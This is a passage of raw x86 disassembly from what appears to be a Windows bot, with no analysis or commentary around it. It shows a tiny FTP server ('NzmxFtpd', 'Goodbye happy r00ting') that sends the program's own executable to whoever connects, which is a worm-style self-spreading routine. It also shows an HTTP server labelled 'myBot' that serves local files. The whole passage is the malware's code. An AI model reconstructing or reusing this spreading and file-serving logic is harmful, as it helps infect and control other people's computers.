		jnz	short loc_4054FB
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40583B
; ---------------------------------------------------------------------------

loc_4054FB:				; CODE XREF: sub_405285+267j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40551F
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40583B
; ---------------------------------------------------------------------------

loc_40551F:				; CODE XREF: sub_405285+28Bj
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405543
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_40583B
; ---------------------------------------------------------------------------

loc_405543:				; CODE XREF: sub_405285+2AFj
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405567
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40583B
; ---------------------------------------------------------------------------

loc_405567:				; CODE XREF: sub_405285+2D3j
		lea	eax, [ebp+var_AC]
		push	offset off_42933C
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40558B
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40583B
; ---------------------------------------------------------------------------

loc_40558B:				; CODE XREF: sub_405285+2F7j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4055C6
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4055C6
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40583B
; ---------------------------------------------------------------------------

loc_4055C6:				; CODE XREF: sub_405285+31Bj
					; sub_405285+332j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405601
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405601
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40583B
; ---------------------------------------------------------------------------

loc_405601:				; CODE XREF: sub_405285+356j
					; sub_405285+36Dj
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40564F
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]

loc_40563F:				; CODE XREF: sub_405285+409j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_40583E
; ---------------------------------------------------------------------------

loc_40564F:				; CODE XREF: sub_405285+391j
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405690
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_40563F
; ---------------------------------------------------------------------------

loc_405690:				; CODE XREF: sub_405285+3DFj
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405761
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418752
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41751F
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41751F
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417030
		push	[ebp+arg_0]
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_416FB6
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_41873B
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_416FB6
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40583B
; ---------------------------------------------------------------------------

loc_405761:				; CODE XREF: sub_405285+420j
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40581C
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40586C
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405812
		call	sub_4058E9
		cmp	eax, 1
		jnz	loc_40583E
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_43BD0C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_429190
		push	eax
		call	sub_416FB6
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405803
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D476
		add	esp, 14h

loc_405803:				; CODE XREF: sub_405285+559j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BD8D
		pop	ecx
		jmp	short loc_40583E
; ---------------------------------------------------------------------------

loc_405812:				; CODE XREF: sub_405285+513j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40583B
; ---------------------------------------------------------------------------

loc_40581C:				; CODE XREF: sub_405285+4F1j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40583E
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_40583B:				; CODE XREF: sub_405285+271j
					; sub_405285+295j ...
		push	edi
		call	ebx	; send

loc_40583E:				; CODE XREF: sub_405285+3C5j
					; sub_405285+51Dj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch

loc_405850:				; CODE XREF: sub_405285+15Ej
					; sub_405285+187j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_4053B1
		jmp	loc_405378
; ---------------------------------------------------------------------------

loc_405862:				; CODE XREF: sub_405285+11Ej
		xor	eax, eax
		inc	eax

loc_405865:				; CODE XREF: sub_405285+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40586C	proc near		; CODE XREF: sub_405285+509p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4231E0	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_423214	; socket
		push	[ebp+arg_0]
		mov	dword_43BD08, eax
		mov	[ebp+var_10], 2
		call	dword_4231FC	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_423224	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43BD08
		call	dword_42321C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4058E4
		push	dword_43BD08
		call	dword_423220	; closesocket
		call	dword_423200	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4058E4:				; CODE XREF: sub_40586C+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40586C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058E9	proc near		; CODE XREF: sub_405285+515p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_423094	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4176A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405980
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405964
		push	edi
		mov	edi, 400h

loc_40592C:				; CODE XREF: sub_4058E9+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418786
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43BD08
		call	dword_423208	; send
		push	1
		call	dword_423064	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40592C
		pop	edi

loc_405964:				; CODE XREF: sub_4058E9+3Bj
		push	esi
		call	sub_417600
		pop	ecx
		push	dword_43BD08
		call	dword_423220	; closesocket
		call	dword_423200	; WSACleanup
		xor	eax, eax
		inc	eax

loc_405980:				; CODE XREF: sub_4058E9+35j
		pop	esi
		leave
		retn
sub_4058E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405983	proc near		; DATA XREF: sub_4070A3+333o
					; sub_40EC43+548Do

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417830
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	ebx
		mov	[eax+3ACh], esi
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43EB24	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43EBA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_405D49
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_444574[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43EB50	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_405D49
		push	7FFFFFFFh
		push	edi
		call	dword_43EB4C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_405D49
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43EBC0	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_405D49
		mov	ebx, esi
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], edi

loc_405A5A:				; CODE XREF: sub_405983+3BCj
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_128]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43EB0C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405D44
		xor	edi, edi
		mov	[ebp+arg_0], edi

loc_405A90:				; CODE XREF: sub_405983+3B6j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	edi
		call	dword_43EA1C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405D2F
		cmp	edi, [ebp+var_8]
		jnz	short loc_405B11
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_43EBB8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405D2F
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405AE3

loc_405AD5:				; CODE XREF: sub_405983+15Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_405AE3
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_405AD5

loc_405AE3:				; CODE XREF: sub_405983+150j
					; sub_405983+159j
		cmp	ecx, ebx
		jnz	short loc_405B00
		cmp	ebx, 40h
		jnb	short loc_405B00
		mov	[ebp+ecx*4+var_124], eax
		mov	ebx, [ebp+var_128]
		inc	ebx
		mov	[ebp+var_128], ebx

loc_405B00:				; CODE XREF: sub_405983+162j
					; sub_405983+167j
		cmp	eax, [ebp+var_4]
		jbe	loc_405D2F
		mov	[ebp+var_4], eax
		jmp	loc_405D2F
; ---------------------------------------------------------------------------

loc_405B11:				; CODE XREF: sub_405983+126j
		mov	esi, 1000h
		lea	eax, [ebp+var_28F0]
		push	esi
		push	0
		push	eax
		call	sub_417030
		push	esi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417030
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	esi
		push	eax
		push	edi
		call	dword_43EB3C	; recv
		test	eax, eax
		jg	short loc_405B98
		push	edi
		call	dword_43EBBC	; closesocket
		xor	eax, eax
		test	ebx, ebx
		jbe	loc_405D2F

loc_405B5D:				; CODE XREF: sub_405983+1E6j
		cmp	[ebp+eax*4+var_124], edi
		jz	short loc_405B85
		inc	eax
		cmp	eax, ebx
		jb	short loc_405B5D
		jmp	loc_405D2F
; ---------------------------------------------------------------------------

loc_405B70:				; CODE XREF: sub_405983+207j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax

loc_405B85:				; CODE XREF: sub_405983+1E1j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_405B70
		dec	ebx
		mov	[ebp+var_128], ebx
		jmp	loc_405D2F
; ---------------------------------------------------------------------------

loc_405B98:				; CODE XREF: sub_405983+1C7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417030
		lea	eax, [ebp+var_28F0]
		xor	edi, edi
		push	eax
		call	sub_4177B0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405D2F

loc_405BC5:				; CODE XREF: sub_405983+2F9j
		mov	al, [ebp+edi+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405C6B
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405C3B
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_4177B0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405C3B
		mov	eax, offset asc_429420 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417580
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417580
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41886E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4176C0
		add	esp, 10h
		jmp	short loc_405C52
; ---------------------------------------------------------------------------

loc_405C3B:				; CODE XREF: sub_405983+26Ej
					; sub_405983+280j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42941C ; "\r\n"
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405C87

loc_405C52:				; CODE XREF: sub_405983+2B6j
		push	1000h
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_405C6B:				; CODE XREF: sub_405983+252j
		lea	eax, [ebp+var_28F0]
		inc	edi
		push	eax
		inc	esi
		call	sub_4177B0
		cmp	edi, eax
		pop	ecx
		jb	loc_405BC5
		jmp	loc_405D2F
; ---------------------------------------------------------------------------

loc_405C87:				; CODE XREF: sub_405983+2CDj
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_405CC3

loc_405C8D:				; CODE XREF: sub_405983+319j
		mov	ecx, [ebp+eax*4+var_124]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_405CB5
		inc	eax
		cmp	eax, ebx
		jb	short loc_405C8D
		jmp	short loc_405CC3
; ---------------------------------------------------------------------------

loc_405CA0:				; CODE XREF: sub_405983+337j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax

loc_405CB5:				; CODE XREF: sub_405983+314j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_405CA0
		dec	ebx
		mov	[ebp+var_128], ebx

loc_405CC3:				; CODE XREF: sub_405983+308j
					; sub_405983+31Bj
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_4177B0
		mov	esi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4177B0
		add	esi, eax
		pop	ecx
		cmp	esi, 104h
		pop	ecx
		jnb	short loc_405D26
		and	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_43EBC0	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_0]
		call	sub_405F35
		add	esp, 14h
		jmp	short loc_405D2F
; ---------------------------------------------------------------------------

loc_405D26:				; CODE XREF: sub_405983+364j
		push	[ebp+arg_0]
		call	dword_43EBBC	; closesocket

loc_405D2F:				; CODE XREF: sub_405983+11Dj
					; sub_405983+146j ...
		mov	edi, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jbe	loc_405A90
		jmp	loc_405A5A
; ---------------------------------------------------------------------------

loc_405D44:				; CODE XREF: sub_405983+102j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx

loc_405D49:				; CODE XREF: sub_405983+6Aj
					; sub_405983+92j ...
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4293D8
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405D8F
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D476
		add	esp, 14h

loc_405D8F:				; CODE XREF: sub_405983+3E7j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BD8D
		pop	ecx
		push	edi
		call	dword_43EBBC	; closesocket
		push	[ebp+var_254]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_405983	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DB9	proc near		; DATA XREF: sub_405F35+245o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417830
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_416FB6
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		lea	eax, [ebp+var_9C]
		jz	short loc_405E24
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405E29
; ---------------------------------------------------------------------------

loc_405E24:				; CODE XREF: sub_405DB9+62j
		push	offset aApplicationOct ; "application/octet-stream"

loc_405E29:				; CODE XREF: sub_405DB9+69j
		push	eax
		call	sub_416FB6
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_42309C	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_423098	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_9C]
		jnz	short loc_405E9C
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_416FB6
		add	esp, 24h
		jmp	short loc_405EB7
; ---------------------------------------------------------------------------

loc_405E9C:				; CODE XREF: sub_405DB9+CAj
		push	[ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_416FB6
		add	esp, 28h

loc_405EB7:				; CODE XREF: sub_405DB9+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43EB74	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_405EF7
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406865
		pop	ecx
		pop	ecx
		jmp	short loc_405F14
; ---------------------------------------------------------------------------

loc_405EF7:				; CODE XREF: sub_405DB9+126j
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4061E4
		add	esp, 10h

loc_405F14:				; CODE XREF: sub_405DB9+13Cj
		push	[ebp+var_44C]
		call	dword_43EBBC	; closesocket
		push	[ebp+var_B4]
		call	sub_416D90
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
sub_405DB9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F35	proc near		; CODE XREF: sub_405983+399p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417030
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_405F6B
		push	offset aS_4	; "\\%s"
		jmp	short loc_405F73
; ---------------------------------------------------------------------------

loc_405F6B:				; CODE XREF: sub_405F35+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS_3	; "%s"

loc_405F73:				; CODE XREF: sub_405F35+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_4177B0
		test	eax, eax
		pop	ecx
		jbe	short loc_40600E
		mov	[ebp+arg_8], 2

loc_405F9E:				; CODE XREF: sub_405F35+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4177B0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_405FDE
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_405FDE
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_405FDE
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_405FDE
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_405FDE:				; CODE XREF: sub_405F35+79j
					; sub_405F35+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_405FEE
		push	5Ch
		pop	eax
		jmp	short loc_405FF1
; ---------------------------------------------------------------------------

loc_405FEE:				; CODE XREF: sub_405F35+B2j
		movsx	eax, al

loc_405FF1:				; CODE XREF: sub_405F35+B7j
		mov	[ebp+ebx+var_210], al

loc_405FF8:				; CODE XREF: sub_405F35+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_4177B0
		cmp	esi, eax
		pop	ecx
		jb	short loc_405F9E

loc_40600E:				; CODE XREF: sub_405F35+60j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_314]
		push	offset asc_4296D4 ; "\n"
		push	eax
		call	sub_41886E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4230A8	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_40605C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40605F
		push	[ebp+arg_0]
		jmp	short loc_4060DB
; ---------------------------------------------------------------------------

loc_40605C:				; CODE XREF: sub_405F35+11Bj
		mov	[ebp+var_4], esi

loc_40605F:				; CODE XREF: sub_405F35+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40606C
		mov	[ebp+var_4], esi

loc_40606C:				; CODE XREF: sub_405F35+132j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4060E6
		cmp	[ebp+arg_C], edi
		jz	short loc_4060DA
		lea	eax, [ebp+var_314]
		push	offset asc_4296D0 ; "*"
		push	eax
		call	sub_4176D0
		lea	eax, [ebp+var_314]
